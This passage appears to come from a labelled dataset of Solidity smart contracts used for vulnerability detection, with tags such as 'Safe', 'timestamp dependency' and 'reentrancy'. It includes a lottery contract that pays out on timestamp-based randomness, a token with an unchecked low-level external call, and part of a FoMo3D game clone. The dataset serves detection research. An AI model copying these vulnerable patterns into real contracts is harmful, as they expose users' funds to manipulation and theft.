true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 237.sol,"pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract braggerContract { mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) private isUser; mapping (address => bool) private hasPicture; mapping (address => string) private userWalletToUserName; mapping (string => address) private userNameToUserWallet; mapping (string => string) private userNameToPicture; mapping (address => string) private userWalletToPicture; mapping (address => uint256) private fineLevel; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); address public ownerAddress = 0x000; address private bragAddress = 0x845EC9f9C0650b98f70E05fc259F4A04f6AC366e; string private initialQuote = ""Teach your people with your wisdom.""; string private initialPicture = ""https://cdn2.iconfinder.com/data/icons/ios-7-icons/50/user_male2-512.png""; uint256 basicFine = 25000000000000000; uint256 blocks; uint256 totalBraggedValue = 0; uint256 winningpot = 0; uint256 totalbrags = 0; struct Bragger{ address braggerAddress; uint256 braggedAmount; string braggerQuote; } Bragger[] private braggers; struct User{ address userAddress; string userName; } User[] private users; modifier onlyCreator() { require(msg.sender == ownerAddress); _; } constructor() public { blocks=0; ownerAddress = msg.sender; } function random() private view returns (uint8) { return uint8(uint256(keccak256(block.timestamp, block.difficulty))%251); } function random2() private view returns (uint8) { return uint8(uint256(keccak256(blocks, block.difficulty))%251); } function random3() private view returns (uint8) { return uint8(uint256(keccak256(blocks, block.difficulty))%braggers.length); } function getTotalBraggedVolume() public view returns (uint256 _amount){ return totalBraggedValue; } function getCurrentBragKing() public view returns(address _bragger, uint256 _amount, string _quote, string _username, string _picture){ _bragger = braggers[braggers.length-1].braggerAddress; _amount = braggers[braggers.length-1].braggedAmount; _quote = braggers[braggers.length-1].braggerQuote; if(isAlreadyUser(_bragger)){ _username = getUserNameByWallet(_bragger); } else { _username = """"; } if(hasPicture[_bragger]){ _picture = userWalletToPicture[_bragger]; } else { _picture = initialPicture; } return (_bragger, _amount, _quote, _username, _picture); } function arrayLength()public view returns(uint256 length){ length = braggers.length; return length; } function getBraggerAtIndex(uint256 _index) public view returns(address _bragger, uint256 _brag, string _username, string _picture){ _bragger = braggers[_index].braggerAddress; _brag = braggers[_index].braggedAmount; if(isAlreadyUser(_bragger)){ _username = getUserNameByWallet(_bragger); } else { _username = """"; } if(hasPicture[_bragger]){ _picture = userWalletToPicture[_bragger]; } else { _picture = initialPicture; } return (_bragger, _brag, _username, _picture); } function getUserNameByWallet(address _wallet) public view returns (string _username){ require(isAlreadyUser(_wallet)); _username = userWalletToUserName[_wallet]; return _username; } function getUserPictureByWallet(address _wallet) public view returns (string _url){ require(isAlreadyUser(_wallet)); _url = userWalletToPicture[_wallet]; return _url; } function getUserWalletByUsername(string _username) public view returns(address _address){ address _user = userNameToUserWallet[_username]; return (_user); } function getUserPictureByUsername(string _username) public view returns(string _url){ _url = userNameToPicture[_username]; return (_url); } function getFineLevelOfAddress(address _user) public view returns(uint256 _fineLevel, uint256 _fineAmount){ _fineLevel = fineLevel[_user]; _fineAmount = _fineLevel * basicFine; return (_fineLevel, _fineAmount); } function getFineLevelOfUsername(string _username) public view returns(uint256 _fineLevel, uint256 _fineAmount){ address _user = userNameToUserWallet[_username]; _fineLevel = fineLevel[_user]; _fineAmount = _fineLevel * basicFine; return (_fineLevel, _fineAmount); } function getTotalBrags() public view returns(uint256){ return totalbrags; } function getWinnerPot() public view returns(uint256){ return winningpot; } function getCurrentPot() public view returns (uint256 _amount){ return address(this).balance; } function brag() public payable{ uint256 shortage = SafeMath.mul(30,SafeMath.div(msg.value, 100)); if(braggers.length != 0){ require(braggers[braggers.length-1].braggedAmount < msg.value); } Bragger memory _bragger = Bragger({ braggerAddress: msg.sender, braggedAmount: msg.value, braggerQuote: initialQuote }); braggers.push(_bragger); totalBraggedValue = totalBraggedValue + msg.value; winningpot = winningpot + SafeMath.sub(msg.value, shortage); bragAddress.transfer(shortage); if(random() == random2()){ address sender = msg.sender; sender.transfer(SafeMath.mul(SafeMath.div(address(this).balance,100), 70)); uint256 luckyIndex = random3(); address luckyGuy = braggers[luckyIndex].braggerAddress; luckyGuy.transfer(address(this).balance); } blocks = SafeMath.add(blocks, random()); totalbrags += 1; } function setTheKingsQuote(string _message) public payable{ if(fineLevel[msg.sender] > 0){ require(msg.value > (basicFine * fineLevel[msg.sender])); } address currentKing = braggers[braggers.length-1].braggerAddress; require(msg.sender == currentKing); braggers[braggers.length-1].braggerQuote = _message; } function isAlreadyUser(address _address) public view returns (bool status){ if (isUser[_address]){ return true; } else { return false; } } function hasProfilePicture(address _address) public view returns (bool status){ if (isUser[_address]){ return true; } else { return false; } } function createNewUser(string _username, string _pictureUrl) public { require(!isAlreadyUser(msg.sender)); User memory _user = User({ userAddress: msg.sender, userName: _username }); userWalletToUserName[msg.sender] = _username; userNameToUserWallet[_username] = msg.sender; userNameToPicture[_username] = _pictureUrl; userWalletToPicture[msg.sender] = _pictureUrl; fineLevel[msg.sender] = 0; users.push(_user) - 1; isUser[msg.sender] = true; hasPicture[msg.sender] = true; } function resetQuote()public onlyCreator{ braggers[braggers.length-1].braggerQuote = initialQuote; fineLevel[braggers[braggers.length-1].braggerAddress] = fineLevel[braggers[braggers.length-1].braggerAddress] + 1; } function resetUsername(string _username)public onlyCreator{ address user = userNameToUserWallet[_username]; userWalletToUserName[user] = ""Mick""; fineLevel[user] = fineLevel[user] + 1; } function resetUserPicture(string _username)public onlyCreator{ address user = userNameToUserWallet[_username]; userWalletToPicture[user] = initialPicture; fineLevel[user] = fineLevel[user] + 1; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function reset()public onlyCreator { selfdestruct(ownerAddress); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }",./Dataset/timestamp dependency (TP)/,6,6 1529.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract LOFO is StandardToken { // SCJOE /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'L1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; // This is a constructor function function LOFO() { balances[msg.sender] = 10000000000000000000000000000; totalSupply = 10000000000000000000000000000; name = ""LOFO""; decimals = 18; symbol = ""LOFO""; unitsOneEthCanBuy = 125000; fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x02b35b885595427f28c46066c61b73ad957ac2f8_SingularDTVToken.sol,"pragma solidity ^0.4.15; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract AbstractSingularDTVFund { function softWithdrawRewardFor(address forAddress) returns (uint); } /// @title Token contract - Implements token issuance. /// @author Stefan George - <[email protected]> /// @author Milad Mostavi - <[email protected]> contract SingularDTVToken is StandardToken { string public version = ""0.1.0""; /* * External contracts */ AbstractSingularDTVFund public singularDTVFund; /* * Token meta data */ string public name; string public symbol; uint8 public constant decimals = 18; /// @dev Transfers sender's tokens to a given address. Returns success. /// @param to Address of token receiver. /// @param value Number of tokens to transfer. function transfer(address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(msg.sender); singularDTVFund.softWithdrawRewardFor(to); return super.transfer(to, value); } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param from Address from where tokens are withdrawn. /// @param to Address to where tokens are sent. /// @param value Number of tokens to transfer. function transferFrom(address from, address to, uint256 value) returns (bool) { // Both parties withdraw their reward first singularDTVFund.softWithdrawRewardFor(from); singularDTVFund.softWithdrawRewardFor(to); return super.transferFrom(from, to, value); } function SingularDTVToken(address sDTVFundAddr, address _wallet, string _name, string _symbol, uint _totalSupply) { if(sDTVFundAddr == 0 || _wallet == 0) { // Fund and Wallet addresses should not be null. revert(); } balances[_wallet] = _totalSupply; totalSupply = _totalSupply; name = _name; symbol = _symbol; singularDTVFund = AbstractSingularDTVFund(sDTVFundAddr); Transfer(this, _wallet, _totalSupply); } }",Safe,8,8 3790.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3Dshort is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee83e20C6AEab2284685Efe0B5ffb250bE5480bf); address private admin = msg.sender; string constant public name = ""FOMO Short""; string constant public symbol = ""SHORT""; uint256 private rndExtra_ = 1 seconds; uint256 private rndGap_ = 1 seconds; uint256 constant private rndInit_ = 5 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 5 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { 